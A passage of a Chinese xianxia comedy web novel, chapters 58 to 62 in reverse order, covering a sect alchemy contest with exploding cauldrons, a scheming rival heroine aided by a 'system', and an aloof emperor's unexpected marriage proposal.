还是没睡醒,在说什么胡话? 不出一日,今日之事便会传尽南北两境! 他们干脆学界域那群颠公颠婆,以后包着脸出门算了! 几个亲传弟子羞愧万分的垂下头。 心底,刮起一团十级风暴。 为什么! 这到底是为什么啊! 十二顿竹笋炒肉,他们还是……吃上了! 林轻染愣了一下,回过神想到自己身负女主光环,谦虚地低垂眉眼,心中暗暗得意,“系统,帮我查查,美人图鉴上,在场的这几个,好感度是不是涨了? 系统倒吸一口凉气,隐约有磨牙的声音,“落了还差不多!” “你说什么?”林轻染笑容一僵,“怎么可能!是不是你看错了?!” “没有。”系统已经自检十遍。 林轻染再维持不住完美的笑容,在心中低声吼道:“怎么可能!我这么优秀他们怎么会一点好感度也没加!” “你能不能冷静一点!”系统反吼回去,迅速镇定下来,“他们肯定是一时接受不了。” 又分析,“就连明长老的大弟子炼出的都是废丹,丢尽了脸面,他们总得有个缓冲时间,若是你下场比赛也如此惊艳,说不定这种无法接受,就成了由衷的赞叹。” “记住,女主光环,法力无边。” 林轻染脑子有些乱,听它分析的头头是道,只能安慰自己,肯定是这样的。 她已经别无选择,若是下一场表现平平,故意放水,反而会引起更大的反感。 也只能,如此。 他们只是暂时接受不了,习惯就好了。 谁也不可能讨厌一个天才不是! 林轻染心思大定,恢复无害谦虚的笑容。 看着少女晃眼的,仿佛挑衅似的笑,明长老面皮充红,立刻马上找个地缝钻的心都有了。 他悉心一手教导的得意弟子,竟比不过一个练剑的! 徐燕洲牙都快咬成八瓣了,强维持着一宗掌门该有的大气,一摆手,让长老宣布第二场比赛开始。 “急什么。” 花不休翘着二郎腿,慢悠悠打断道。 徐燕洲下意识向他看来,声音颤抖成可怜的波浪,“凤仪剑尊。” 花不休懒散起身,一手拎起一个正蹲在他脚边咔咔嗑瓜子的两个蘑菇,难得彬彬有礼,一脸谦虚。 “两道双修,年纪轻轻竟有此作为,炼丹之术更是令人叹为观止。” “我家这两个小混蛋倒也略懂些丹术,只是向来骄傲自满,目中无人,不如让他们长长见识,什么是天外有天,人外有人。” 江献晚:“……?” 不是,她什么时候骄傲自满,目中无人了? 还有,你是不是被鬼附身了? 干嘛用这么温柔的语气跟女主说话? 你特么……还是喜欢上了吗? 林玉锦:“……?” 他俩哪里骄傲自满了! 那明明是自信! 花不休不看两个孽徒,随手往赛场上一抛,“走你。” 他想再看一下,林轻染是不是真克他们师徒。 林轻染听着属于凤仪剑尊的由衷夸赞,眼底露出一丝喜色,盈盈一笑,“晚辈不敢,不过倒是可以和师兄师妹切磋一下。” 于是,赛场又添了两张桌子。 林玉锦和江献晚沉默地站在那里没动。 他俩看着桌案上精致的炼丹炉,稍微有点无从下手。 他们都是用锅炒菜啊呸!炒丹的啊! 江献晚思索三秒,低头从芥子囊中翻找出一把勺子,林玉锦眼睛一亮。 对啊,把丹炉当作锅不就成了! 虽然小。 不耽误炒。 众人:“……?” 他俩,这是要开饭了? 只有花不休白子夜和苏清流神色自若,丝毫没觉得不对。 林玉锦兴奋地捏着勺子,“小师妹,你打算炼什么?” 江献晚扫了一眼匣子里的灵植,“保密。” “那成,我也先保密。” 反正炼的都不是什么好丹。 林玉锦随手抓起一把灵植扔进锅,哦不,扔进丹炉,拿着勺子开始翻炒。 江献晚看了一眼隔壁的林轻染。 这个距离,有点危险啊。 林轻染朝她勾唇微微一笑。 江献晚:“……” 她没理,抓起一把灵植扔进炼丹炉。 众人:“……” 你们两个在搞什么,这是炼丹,不是炒菜啊! 就这炼丹之术,也能骄傲,还能自满? 几个亲传弟子看着他俩的骚操作,虽然有些懵逼乍舌。 不知为何,却诡异地忽然放松下来,纷纷低下头重振旗鼓开始挑选灵植。 “砰!砰!” 熟悉地两声,江献晚和林玉锦齐齐沉默,对视时,看到彼此眼中的茫然和惊悚。 他们……竟然……炸炉了? 第 62 章 炸炉 传言不假,两境三域,凤仪剑尊,果然不会给任何人魔妖留脸面。 此刻,参加比试的弟子无一不是面面相觑,就连观看的弟子亦是你看看我,我捅捅你。 他们全都神色诡异地望着那鼎鎏金朱雀炉,一时间整整齐齐陷入沉默。 人家是剑道天才,若是公平比试,他们输了,活该被啪啪打脸,好歹公平公正。 她拿那么好的一个炼丹炉算什么? 算他们活该? 还是算他们倒霉? “这就有点左脸皮撕给右脸皮了哈。”一半不要脸,一半厚脸皮。 “她眼睛被屁股给坐住了?看不出桌案上的丹炉都是一模一样的?就是把瞎子叫来,都能看见吧?” “我怀疑她拿我们当傻逼。” “做人不能太狗,缺狗粮直接说。” “真想拿她的脸,来试试我的爆炸符。” 太虚宗的弟子对外都很狂,嘴巴还很毒。 眼看赛场和看台上开始悉悉索索的骚动,林轻染还挺骄傲的站着,徐燕洲无奈地摆手招来弟子,耳语一番。 那名弟子忙朝着赛场去了。 花不休扭头捏走江献晚手中一颗刚剥好的荔枝,“一个破炉子还当宝贝了,瞧见那丹炉上的朱雀了吗?” 江献晚幽怨的盯着手里的荔枝壳,“朱雀啼哭,不祥之兆。” 直白来说,这炉子用不好容易反噬,引发灾祸。 林玉锦呵呵,“还不如咱俩烧两根破木头好使呢。” 江献晚:“……?” 咦,看起来小师兄对林轻染的初见印象也不行啊。 不管林玉锦是不是美人图鉴中的一位,观他对女主第一眼的反应,江献晚觉得……大女主的光环,貌似要不稳。 正笑的春风拂面的林轻染在听到弟子的话后,面庞一僵,差点没维持住娇美温柔的人设,咬着唇白着脸收起了丹炉。 林玉锦一拍大腿,没忍住,哈哈笑出了声,还不忘捅江献晚去看,后者被戳到痒痒肉,噗嗤一声,哈哈哈。 他俩一笑,白子夜也跟着笑。 裴长安三人的脸青了绿,绿了青,从来没有觉得这般的……想找个地缝把脸插进去。 裴长安担忧的凝视着那道靓丽婉约的身影。 师妹她……难道真的看不见桌案上那些长得一模一样的丹炉吗? 他坐这么远都看见了喂! 还有,她什么时候会炼丹了? 不容他再纠结。 长老一声比赛开始,弟子动手挑选灵植。 其中六个太草峰弟子表现过人,不急不缓,动作行云流水,叫人看着便心旷神怡。 考试分为两场。 第一场,弟子们统一炼制回灵丹。 第二场,自由发挥,甭管炼什么,只要你有能力。 炼丹师不仅要掌握丰富的草药知识,还要精通对每种草药的提炼,以及五行相生相克的道理。 炼丹师又分四阶,天、玄、地、黄,天为极,黄为最次,每品又分凡品,上品,极品三个等级。 明长老乃是玄阶上品,与北境万古宗那位同阶,是南北两境最顶尖的存在了。 而丹药分九品制,品级越高,丹药越珍贵。 丹药有丹纹,一纹最低,九纹最高,纯度低于百分之五十,为废丹,成丹率在一至四颗为初凡品,五至七颗为上品,八至十颗为极品。 徐燕洲和明长老眼神一碰,无声交流。 林轻染方才不是还一副胸有成竹的模样,怎么现在都没动? 莫非,是准备放大招? 毕竟,他们从凤仪口中得知,江献晚炼丹符箓也有一套野路子,不意外能控制南明离火的林轻染炼丹之术差到哪里去。 林轻染死死盯着桌案上寻常的炼丹炉,面色略显苍白,在脑中疯狂的责怪系统,“没了鎏金朱雀炉,你让我如何控火?” 系统烦的不得了,还是耐着性子,“我这不是在申请了吗?你就不会先找需要的灵植?” 妈的! 就知道盯着它! 它是什么很贱的奶妈吗! “那你快点!”林轻染又催了它一声,看了一眼离她不远的六个弟子,装作云淡风轻,慢条斯理地挑选灵植。 运气不错,在她磨磨蹭蹭根据系统提示挑选完所需要用到的灵植,系统及时申请到地心焰。 地心焰一出,周围弟子猛然色变,表情凝重了起来。 来者不善! 这个是高手! 明长老差点没坐稳,方才鎏金朱雀炉已是让他意外,林轻染竟有地心焰! 徐燕洲又是一懵,忍不住倾身看去。 终于确定。 这哪里是切磋,分明是踢馆来了! 道道视线洗礼,林轻染唇角浮出一抹胜券在握的笑意,纤细玉指轻松掌控着地心焰液化灵草。 然而。 在她动作的那一刻,赛场突兀传来……炸炉的响声。 炸炉是正常现象。 只是,随着第一声爆炸响起,像是触发了什么机关,收到了什么暗号,一时间整个赛场上砰砰声接二连三,响个不停。 玄幻而又始料未及的一幕,令人看的眼前一黑。 看台上不少弟子惊的轰然起身。 “卧槽!怎么回事?” “炸这么多?” “秋师弟也炸了!” “你妹好像……也炸了!” 最懵逼的还是要属明长老,他还没从羡慕嫉妒中回过神,眼前一黑,险些从凳子上滑下来。 赛场上不少弟子被烟熏的小脸雀黑,空气中飘满灵植的焦香。 江献晚讶然望去。 还好,明长老座下大弟子稳如老狗,就是面色不知为何有些难看。 他是第一个丹成的,首先停下动作,垂眸站在原地,盯着手中的玉瓶,不知在想什么。 身边五位弟子,其中三人捏着玉瓶,一脸惊恐而怀疑人生的表情。 另外两个满脸写着不可思议,各自麻木的抹了一把脸。 更别说其他炸炉的弟子,一整个陷入自我怀疑的绝望。 众人视线整齐划一一划,不由自主投向丹未成的林轻染。 见时机差不多,众人的目光再次汇聚在她身上,林轻染将分液固化成丹,手一挥,丹药尽数落于瓶中。 很快,一位负责场中秩序的弟子,将丹药呈于明长老面前。 江献晚和林玉锦鬼鬼祟祟地靠了过去。 明长老艰难的转动迷茫的小眼神,一扫托盘。 仅仅一眼,眼中迷茫之色登时跟着一扫而空,眼瞪如铜铃,宛若晴天霹雳,愣在原地! 第 61 章 炼丹大赛 造成这一切的,绝对是江献晚! 她今日必须好好表现,务必要让花不休和两位帝尊知道,她才是最优秀的那个! 顺便刷一下其他几个少年的好感。 眼看场地只剩六张桌子,正当徐燕洲急的打算亲自去一趟后山,数道流光划过,众长老携弟子,掐着点从后山方向疾飞而来。 徐燕洲总算松了口。 长老早已收到掌门的连番传音轰炸,跟在屁股后,看着狗撵似的一众长老恨不能把鞋底子跑掉,不知状况的弟子有些诧异。 今儿的比赛,来的弟子怎么这么多? 平常也没见长老们表现出这么大的热情啊? 一扫全场,便看到了身着万古宗服饰的四个亲传弟子。 实在是万古宗的亲传弟子,那白衣做的独领风骚,放在人堆里都显眼的很。 幸亏就来四个,要是多了,整的跟披麻戴孝似的。 倒是其中一个,怎么在他们赛场上? “万古宗水灵灵的俏白菜来了?” “显而易见,踢馆。” “好志气。” 明长老座下六个最出色的弟子,无声交换眼神。 方才上头同他们说过,还下了死令。 只能赢,不能输! 最好炼出花来,亮瞎他们的狗眼。 南北两境在三域面前虽然穿一条裤子,私下里,只要一碰面,看对方那叫一个鼻孔朝天。 今日这场比赛若是输给万古宗一个剑修,那输的就不是他们几个弟子的脸面,而是太虚宗,还有整个南境的里子面子! 打烂,踩在地面上来回碾压摩擦的那种。 最主要的是……谁今天要是敢输了,就等着吃长老们,外加掌门的竹笋炒肉。 算下来,得吃十二顿呢。 想想屁股就痛。 六个弟子立刻挺直背,支棱起来,飘然落在赛场,摩拳擦掌,准备好好吊打万古宗不知天高地厚的小白菜。 其中三道青色身影,一个缓步悠然,两个饿狼扑食,朝着江献晚去了。 “嗷嗷!小师妹!我来了!”林玉锦一个虎扑,握上江献晚的双肩,拼命摇晃。 “想我吗!想我吗!想我吗!” “你知道小师兄这些天过的是什么非人折磨吗?” “瞅瞅,我脸蛋子都瘦了!” “谁要看你的脸蛋子。”不等江献晚作答,白子夜一屁股挤开林玉锦,接替了江献晚的肩,左看右看,欢喜道:“小师妹,前几日,那雷劫是你的?” “哟,劈惨了吧?” 苏清流一脚踹开一个,好心将快要被摇吐的小师妹解救出来。 “小师妹,你现在是……元婴后期?告诉大师兄,想要什么奖励?” “这样吧,大师兄这还有一袋灵石,老二和老三的小金库,都给你,够不够?” 白子夜林玉锦:“……”真不要脸。 花不休:“……” 三个瞎眼孽徒。 不知道喊师尊的吗? 赛场上,林轻染又险些咬碎一口银牙。 那三个和江献晚亲亲热热的少年,赫然全都是美人图鉴中的! 更让她气急败坏的是,还有另外两个属于美人图鉴中的少年,都朝着江献晚去了! 时云霄和秦秦也凑过来跟江献晚打了个招呼。 祝茵曼和楚微凝对着江献晚眨眨眼睛,一个举起唢呐,一个晃了晃手中长剑,意思不言而喻。 其他后赶到的弟子,更是排着队,特意路过江献晚。 谁过去,必定都要激动的朝她大喊一声。 “江献晚!!!” 江献晚:“……” 一股来自同门的深深恶意。 望着这本该属于她的,众星捧月的一幕,林轻染心态直接崩了。 她狠狠掐着手心,冷哼一声。 受欢迎如何,关系好又如何,她会一点一点将这些本该属于她的全都抢回来! 她才是女主! 这些都是她才能拥有的待遇! 四个穿着青衣的弟子,一排蘑菇似的坐在青裳美人脚边,仿佛一幅绝美的画卷,只看着便赏心悦目。 林玉锦伸着脖儿好奇的看,“万古宗的白豆腐怎么来了?” 他倒不稀奇林轻染一个剑修如何会炼丹,他小师妹也会啊! 他会颠锅,还是小师妹教的呢! 只是,眼下有一个问题。 白子夜指尖灵笔转出花,右手搭上他的肩膀,“嘻!老三,你跟那个叫林轻染的弟子不会是亲戚吧?” 江献晚忍不住揶揄道:“是啊,你们可是都姓林。” 苏清流一点头,表示赞同。 林玉锦立刻不愿意了,嚷嚷道:“谁跟她一家人!我跟小师妹才是异父异母的亲兄妹!” 江献晚:“……” 花不休:“……” 徐燕洲勉强压下抽搐的眉尖,清了清嗓子,“既然到齐了,那便开始吧。” 只是当林轻染拿出鎏金朱雀炉,瞬间引的看席上的长老弟子目光纷纷投向她,赛场上弟子更是一副地铁老爷爷看手机的表情。 徐燕洲一愣,“鎏金朱雀炉?” 明长老同样一愣一愣的,“是啊。” 鎏金朱雀炉内含南明离火,南明离火又是朱雀的伴生火焰。 其威力无穷,可焚尽世间万物,且对邪魔异宝有克制作用。 她竟可以控制南明离火? 不过…… 徐燕洲有些头疼。 你炉子是厉害不错,可你要不要看看桌案上摆的是什么? 这么多弟子看着,该怎么说,才能不让小姑娘难堪。 享受着众人诧异又惊艳的目光,林轻染下巴尖儿微抬,将那些道道投来的视线理解为羡慕和震撼。 她脊背挺直,笑的温柔如絮,却难掩高傲之色。 花不休伸手从江献晚手中捏了空,转手从盆中捡了一颗,慢条斯理剥荔枝,宛如剥去美人软衣。 “只可惜,朱雀趋火而招祸。” 他声音并未刻意压低,是以看席上裴长安三人脸都绿了。 徐燕洲头疼捂脸,“凤仪剑尊。” 自己人听听算了,人家雾渺的亲传弟子好歹在这坐着呢! 其他长老没吭声。 凤仪说的也没错啊。 花不休不以为然,看着昂首挺胸,孔雀开屏似的少女,悠悠地嗤笑一声。 “她不知道我宗弟子比试,用的是统一发放的丹炉吗?” 裴长安三人,变脸似的,刷地又红了。 他尴尬地扯了扯唇角,“抱歉,剑尊前辈,我,我师妹她或许不知道。” 第 60 章 有人要踢馆了 而那捧着几个被推回来的果子的北帝尊,唇瓣无力微张,一双雪瞳肉眼可见的迅速黯淡下来。 活像珠光蒙尘,白鹤折翼。 江献晚当自己眼瞎,看不到这位雪堆的帝尊会有这么多不合身份的反应。 重拳出击,不带犹豫。 “多谢帝尊抬爱,只是我已有心悦……” “晚晚。” 帝隐打断她,呼吸微微急促,瞳孔中浮现出天塌地陷的痛色,像是惶然无措中舐水的幼兽,轻易叫人看出的慌张。 而又无不执拗。 “我是你的。” “我没有别人。” 他紧张的望着少女的眼睛,局促不安,雪白的腮上急的泛起潮红,干巴巴道:“我知错了,我全改的。” 他反反复复自检无数次,愈想,只觉天塌地陷。 一年的朝夕相处,面对江献晚时所有不经意不自知的小举动,皆是因暗暗欢喜的不知如何是好。 可他不说,让江献晚觉得他就是这样谁也不放在心里的性子。 云为泽说的没错,他就是锯嘴葫芦。 帝隐很怕,还很慌。 他都改,他全改。 只是,别不要他。 江献晚:“……” 她偷偷掐了一把大腿,缓吸一口凉气,又惊又头疼。 相处一年,帝隐的性格她还是了解一点的。 他要什么,不要什么,目标明确,执著不改。 不会逼你,不会强迫你,耐心好的要命。 能说出这些话,怕是骨头烂了,消散了,也能就这么眼巴巴的等着。 哪怕亲耳听到她说出有爱慕之人。 “我真的会改变。” “我就是……要等着的。” 他不是强人所难之人,可只要想到江献晚不要他,竟不知自己会做出什么。 瞧。 人家还用了‘真的’和‘就是’,听起来几乎有蹲在角落哭的心碎架势。 江献晚一脸麻木,头更疼了,确定与他无法沟通,面无表情,抬起手,一指门,“出去。” 让她冷静一下,想个对策。 帝隐沉默了一会儿,起身,“好。” 看着那冰雪似的帝尊眼巴巴的望她一眼,贴心的轻扣上房门,再看桌案上的水果,江献晚从来没觉得有如此天打雷劈的心情。 为什么和她想的不一样。 帝隐和林轻染没有关系! 帝隐在跟她求婚! 只是,在听到门外一声像是蜜里调油般的模糊轻笑,江献晚无声为帝隐点了根蜡。 祝你平安。 花不休斜倚桃花树下,双臂环抱,双眼落在被扫地出门,堪堪顿足在门外的北帝尊,翘起的唇角,怎么看都像含露的花苞。 就是要等着? 他倒是……等不得了。 不必寅时。 帝隐:“……” 江献晚:“……” 江献晚只听到了花不休一声令人毛骨悚然的低低轻笑,后续详情不知。 该说不说,她的心很大,该吃吃该喝喝,该修炼修炼,该打坐打坐。 当然……不大也没办法。 然,帝隐连着两晚准时准点的找她来下飞行棋。 江献晚不愿意,或冷脸泼他一头冰水,他便垂着眸子,不说话,要么就是像稚子般,露出可怜的神色。 下飞行棋就算了,还不忘锻炼她,将她拉进灵墟。 她才知道,那什么水榭,就是灵墟的一角而已。 江献晚听到敲门声,得救似的,欢天喜地嗖地一下出了灵墟。 高强度的压力下,那速度,那反应,从来没过的利索。 帝隐捏着骰子:“……” 江献晚以最快的速度,刷地打开门,流下了激动地眼泪,“师尊尊。” 花不休瞥了一眼内室,眼底划过一抹不悦。 不仅抗揍。 脸皮还厚。 两根手指捏上她的后衣领一提,“尊什么尊,走,跟为师看戏去。” “看戏?看什么戏?” 两人来到半山腰的演武场,此刻人山人海,热闹喧嚣。 桌案七行七列,上面皆放置着存放灵草的药匣和统一丹炉。 江献晚这才想起,今日是炼丹大赛。 还是林轻染要与太草峰弟子切磋炼丹之术的大好日子。 两道双修? 自然是稀罕。 除了剑窟的弟子长老,太虚宗能来的弟子都来了。 徐燕洲自然不好意思同一个小辈说内门长老和那么多可怜的弟子,一股脑被罚进了剑窟,拉来剑尊撑场。 他早在林轻染提出切磋时,就拼命摇人催剑窟里的大冤种们出来。 尤其是太草峰的那几个弟子! 赶紧的! 有人要踢馆了! 林轻染白裙翩然立于场中,明眸一转,扫了一眼看席,姣好的眉毛不悦地拧起。 “怎么只有一位掌门,其他长老和亲传为何不见一人?” “你确定南北帝尊现在都在潋浮台?” “那凤仪剑尊呢?” 相比其他几个美人图鉴,她最在意的是南北两位帝尊。 还有气运最强的凤仪剑尊。 “确定!”系统听她问这问那,不耐道:“什么都问,自己不会看!” 她眼珠子是长它身上了? 林轻染:“……” 便看到了那抹终于姗姗来迟,青衣乌发,刚落座在看台上的年轻男人。 脚边,盘膝坐了个同样青衣的少女。 这一幕,再次让她极为烦闷。 林轻染眼波暗涌,微微咬牙,心底一层又一层的怨气。 她那日先是距离适当的同花不休亲近,既不会让他抵触,又端的知礼守礼。 等他放松警惕,丝毫不露破绽的做出不小心崴了脚,将要扑到他身上,准备如系统所说,被花不休拦腰抱住,一眼惊为天人。 花不休……反手一袖子掀飞了她! 妈的! 林轻染想到这就想骂一句脏话。 她知道花不休此人极其难搞,却没想到这么难搞。 冷着个脸,就跟欠他一亿灵石似的。 甚至当着一群弟子的面,直接道:“你再往我身上撞一下试试?” 林轻染:“……”杀人的心都有了! 伤都不给他们看,转脚就走了,跑的比兔子都快,生怕会赖上他似的。 比起风回雪的速度,有过之而无不及。 想起风回雪,林轻染不甘地咬了咬唇。 连灵泽之露都不要,他是棒槌吗! 目光再掠向掩在云雾祥泽中的潋浮台,以至于温柔的面容都有些破碎、狰狞。 昨晚,她踏着夜色,故意装作走错路,继续如系统所说被云为泽发现,直击心灵,另眼相待,将她拉上潋浮台。 谁知,还没靠近潋浮台的结界,就被一记流光打飞了出去,摔了个狗吃屎。 这根本就不对! 跟系统说的一点不一样! 而北帝尊,哪怕是来了南境,来了太虚宗,依然不是她能见上一面的! 林轻染神色扭曲的遥望座席台上,吵吵闹闹,一个剥荔枝,一个抢荔枝的两师徒身上,脸色由绿,逐渐铁青。 第 59 章 你被夺舍了 清隽的身影随着泼眼阳光曳入,那人缓缓迈过门槛,顺手合上了门。 江献晚心中随着关门的动静咯噔一声。 她怔怔地看着那银发垂肩,面颊带着一丝血痕,如霜似雪,陌生而又熟悉的男子,后退间,被凳子绊的踉跄一步。 等回过神,人已经坐在来人膝头,脚踝被轻轻攥在一只指节修长的掌中。 她顿时挣扎起来。 “别动。” 那声音仍如三年前不带一丝情绪,又依旧让人生不出反抗的绝对掌控。 江献晚很讨厌这种感觉。 一想到两人只是交易,他是不是与林轻染有过双修或什么,狠狠的推开他的手,跳了下去。 她赤足站在地上,乌发青裳微微凌乱,皙白的指尖拢着衣襟,脸上尽是防备和疏离之色。 帝隐几乎是茫然无措的,手指还僵在半空,被江献晚下意识的抵触蛰的心口一疼。 他们原是这世间最亲密无间,了解彼此的存在。 两人谁都没有再开口,江献晚站了一会儿,神色自若地拿起腰带,又拢起了一头乌发,坦然的往椅子上一坐。 毕竟,站着怪累的。 再说,她现在可不是什么陪人双修的炉鼎,更没收雾渺的钱。 不过,见帝隐只默不作声的看着她,大眼瞪小眼,还是率先败下阵来。 “不知北帝尊大驾光临,来弟子寒舍,所为何事?” 这人性子极闷,她不想从天明跟他瞪到天黑,再到天明。 帝隐睫毛微微一颤,勉强凝聚恍惚的视线,轻轻吐露两个字,“看你。” 江献晚:“……看过了。” “嗯。” 江献晚:“……” 时隔两年,那股挫败劲再次爬上来,绷紧脸,胡乱找个理由,逐客,“弟子要睡了,恭送北帝尊。” 帝隐静静的看着她,再开口,声音含着一丝显而易见的委屈,“你骗人。” 江献晚:“……” 这都被你发现了? 能看出来,那你还蛮厉害的。 但是这么一本正经的点破,不觉得很尴尬吗? 显然,北帝尊觉得什么,都没觉着尴尬。 他面露无措,不想被送客,两扇睫毛都蔫蔫地垂落了,看起来愈发委屈。 琉璃似的眸子更是泛起受伤的薄红,声线哽咽,“晚晚。” 江献晚:“……?” “骗子。” 江献晚:“……” 不得不说,江献晚是了解他的。 她是骗了他叫江早早又怎样,骗他下次早些来又怎样,还不是因为…… 江献晚理直气壮地想着,下一刻瞳孔一震,面上的冷漠轰然崩裂。 他说什么? 他方才说什么? “我想你。”帝隐望进她的眸子。 他眼角微红,眼睫上的湿痕像春山深处的雾气,如玉山之将崩,骤然间冰碎千尺,掀开巨浪,不再是空寂的没有任何什么。 江献晚愣了一下。 以为自己听错了,耳朵坏了。 亦或者,眼睛瞎了。 却听。 又是一声。 似细风拂过,载着渺渺岁月长河,泄出一丝融化般的鼻音。 “是想你了。” 江献晚很冷静,“我们只是交易。” 帝隐轻轻摇头,又是惶然,表情丰富的不像他,“不是。” “我想。” 他顿了顿,一双濛濛烟雨的琉璃眸,轻易就能看出细微颤抖的光泽,嗓音是天塌地陷的紧张。 “与你,结为道侣。” 他想。 很想。 江献晚:“……?!” 结什么? 道侣? 跟她? 一个高坐神坛,无欲无求的神明要跟人结道侣? 这特么是睡出感情了? 江献晚不知道是他疯了,还是自己白日见鬼,倒了杯凉水,觉得很有必要冷静一下。 凉水浇进腹中,总算冷静十足。 平静拒绝。 “多谢北帝尊厚爱,但对我来说,你我之间只是利益交换,并无其他。” 帝隐睫毛一颤,眼尾一抹冰霜眨眼蔓延至鬓角,旋即飞快消散,竟是一瞬间的失态。 分明看似掌控者的恐怖,说出的话却令人大跌眼镜。 “可我是你的。” “我没有当作利益交换。” 他后知后觉明白,自己第一眼看到那样一双眼睛,为何脱口拒绝的话,在自己反应过来时,已经点了头。 怕她生气,声音软的不可思议,“你当作利益交换,我也是你的。” 江献晚此刻已经不知道自己该是什么反应,她茫然的坐在椅子上,盯着面前冰雪消融般,小心朝她努力弯出一个算得上讨好弧度的男人。 帝隐此人,七情六欲就跟给人拔了似的,浑然不沾尘泥,有大爱,却又无情的不像话。 这就动情了? 江献晚脑袋一抽,“你被夺舍了?” 帝隐:“……” 他终于动了,指尖小心翼翼从袖中探出,试探着勾上少女的一点衣袖。 “没有,你别怕。” 也不必遮掩容貌,躲躲藏藏,他不会逼她,万事有他在身后。 她不怕才怪! 江献晚差点拍开他的手。 帝隐竟然在跟她求爱! “林轻染与你……嗯?” 帝隐抿了抿唇,双唇都失去血色,“不是。” 他是不是很差劲,晚晚才会这般想他? 若不是江献晚,他还不知雾渺那个新收的徒弟叫林轻染。 因她问,难得多说了几个字,“雾渺的弟子,与我无关。” 又觉得不够,连吐息都是自我怀疑的脆弱。 “我是干净的,你走后,我便闭关了,雾渺为他徒弟求帝休之果,我不给,来南境寻你,灵泽之露不是特意为她寻的。” 江献晚久久愣住。 雾渺的弟子? 林轻染没拜在他座下? 干净的? 帝隐和林轻染没有关系? 他们是清白的? 怎么可能! 找灵泽之露是顺便,寻她才是真的? 懵懵地问道:“你不是有帝休之果,怎么没给?” “不想。”帝隐手指一动,将几颗拳头大的白果子,塞进江献晚手中。 他的私人东西,只给过江献晚,也只给江献晚。 与他不相干的人,与他有何干系,什么都要他这个帝尊操心,要其他人做什么。 若不是雾渺来求他,他恰好要来南境寻江献晚,怎可能会为了一个弟子特意跑一趟。 他又不是脑子有问题。 江献晚盯着她吃了好几个的果子,神色逐渐扭曲。 猛地手撑上额角,似乎头疼极了,“帝休之果。” “嗯。”帝隐应声,显然没有觉得有丝毫不妥,“甜的。” 他这一嗯,江献晚瞬间像是被踩了尾巴的猫,炸毛了。 果子嗖地推回他手里。 谁管它甜的酸的! 不能吃! 不能再吃了! 这踏马是帝休之果啊! 不是什么饭后水果! 北帝尊自己的灵墟才有的东西啊! 第 58 章 今晚睡觉,记着睁眼 “嗯。” “你心悦他?”花不休单刀直入。 江献晚摇头。 怎么可能。 他们之间,只是两方都不情愿的交易。 确定过江献晚对帝隐的态度后,花不休的表情有一瞬间掩饰不住的破碎,无不是自责。 帝隐既是被迫,依江献晚的性子,如何会上赶着与不喜欢她的人有半分牵扯,定是心不甘情不愿,又不得不答应。 他想过江献晚与帝隐有莫大的关系,在万古宗受了委屈,却没想到真的会是这种关系,彼此又是在这样一种不情愿的情况下走到一起。 不喜欢,才会跑。 此事,定与雾渺脱不了干系。 他竟信了云为泽,亦是将徒儿主动送出,去面对不堪往事的帮凶。 花不休这会想的很多,“你跑的时候,他恢复了吗?” “没有。” “那个叫林轻染的是炉鼎,是不是和他有一腿?” “不知。” “但是,北帝尊向帝尊要了灵泽之露,给了林轻染。” 花不休神色又是转冷,低低吐出三个令人心惊胆寒的字。 “云为泽。” 江献晚哪里看不出来花不休将一半错算在了云为泽头上,忙道:“师尊,帝尊给了我灵泽之露,而且,是我自己点头答应要去的。” 拿人的手短吃人的嘴软,虽然自家帝尊刚开始没跟她明说,看在灵泽之露的份上,江献晚心底是很感激云为泽的。 “呵,灵泽之露。” 花不休在笑,笑意却不达眼底。 “区区灵泽之露就将你哄的向着他了?” “江献晚,你是谁徒儿?” 他抬手攥上江献晚的手腕,将她拉至跟前。 江献晚最怕花不休喊她大名,尤其是这种情况下。 后背一凉,头皮发麻,呵呵干笑,“哪里!哪里!我是您徒儿!徒儿自然向着师尊!” “师尊,您能不能别摆出这样一张脸,怪吓人的,你看,我手心都吓出汗了。” 见她还能插科打诨,笑出来,花不休略松一口气,眉眼凉意稍散,拿指尖戳她眉心。 “这会知道我好了?给你们要点小钱的时候,跟死了爹一样。” 江献晚瘪瘪嘴,默默退后一步,她这个举动气的花不休再次戳着她的眉心,怒骂孽徒。 骂罢了,好歹不再凝着一张面,不情不愿接过江献晚眼巴巴捧到面前的茶。 “睡了便睡了,就当他是个倒贴钱的小倌,你就把他当成个屁放了。” 江献晚倒是因此得了不少益处,再说,能睡到北帝尊……还是蛮厉害的。 小倌…… 江献晚又是一阵无语。 花不休压下缭乱的心绪,不想孽徒想这些不顺快的事,又道:“过两日是太草峰弟子炼丹大赛,林轻染不知抽什么疯说也要参加,她一个练剑的,瞎凑什么热闹。” “不管她,也别管什么北帝尊景长老,你这两日好好在屋里给我待着,哪都不许去。” 得让他们全部赶紧滚蛋! 江献晚哪里敢不应,不过,“师尊尊,您待会该不会要找帝尊吵架吧?” 花美人其实老护短了。 要是真发起脾气,绝对能摁着南帝尊打一顿。 江献晚不想因为自己使云为泽受无妄之灾,主要是灵泽之露的人情太大。 花不休又是不愉,冷冷瞅她一眼,“你在教为师做事?” “还是你心疼他?” 这话说的,可就阴阳怪气了。 江献晚:“……”当然是摇头。 她确定,她若敢再为云为泽说一句好话,花美人定然生大气! 到时,谁都跑不了。 花不休勉强趁心,“为师心中有计较,他再不干人事,为师带你们走就是了,谁稀罕待在这里。” 虽然觉得牵累云为泽挺昧良心的,可听到花不休这几句,江献晚忍不住大大感动一把,跳到花不休身侧,又是捏肩又是捏胳膊,难得孝出强大。 “师尊最强!” “师尊最棒!” “师尊天下第一好!” 花不休没被她这般嘴甜的伺候过,耳根泛起浅浅的桃花色,又想她前面说的话,面露警惕,“你方才说的另外两件事,不会比这件还能气死为师吧?” 江献晚怂了。 眼又是决定了什么似的一闭。 伸脖一刀,早晚一刀,说出得了,挨打挨骂她都心甘情愿。 “师尊年轻力壮,正值当年,我觉得吧……” “你这个不省心的孽徒!” 花不休脑袋一疼,觉得这两件事更不简单,做了个‘你闭嘴’的手势,瞪她,“让为师多活两年!” 让孽徒再准备准备。 瞧她方才一脸干了亏心事,赴死的悲壮小表情。 江献晚声一止,手动捏住嘴,一口咽下全盘托出的话。 花不休起身离去。 让他受气,绝无可能。 欺负他徒儿,更是该死。 轻纱无风翻飞,一步踏入潋浮台,萦绕着薄薄戾气的双眸便轻轻眯起。 云为泽默不作声挡下倾轧而来的威压,默不作声拂开衣袍上崩的粉碎的茶盏棋子,侧脸顶着一道血痕,默不作声低下一双睫帘,看血珠一颗一颗滚落袍身。 花不休施施然落座,无论是声音,还是表情,端的再正常不过,“见过帝尊。” 似笑非笑的偏过头,朝身侧雪衣银发的年轻男人道,“景长老这是叛出宗门了?” 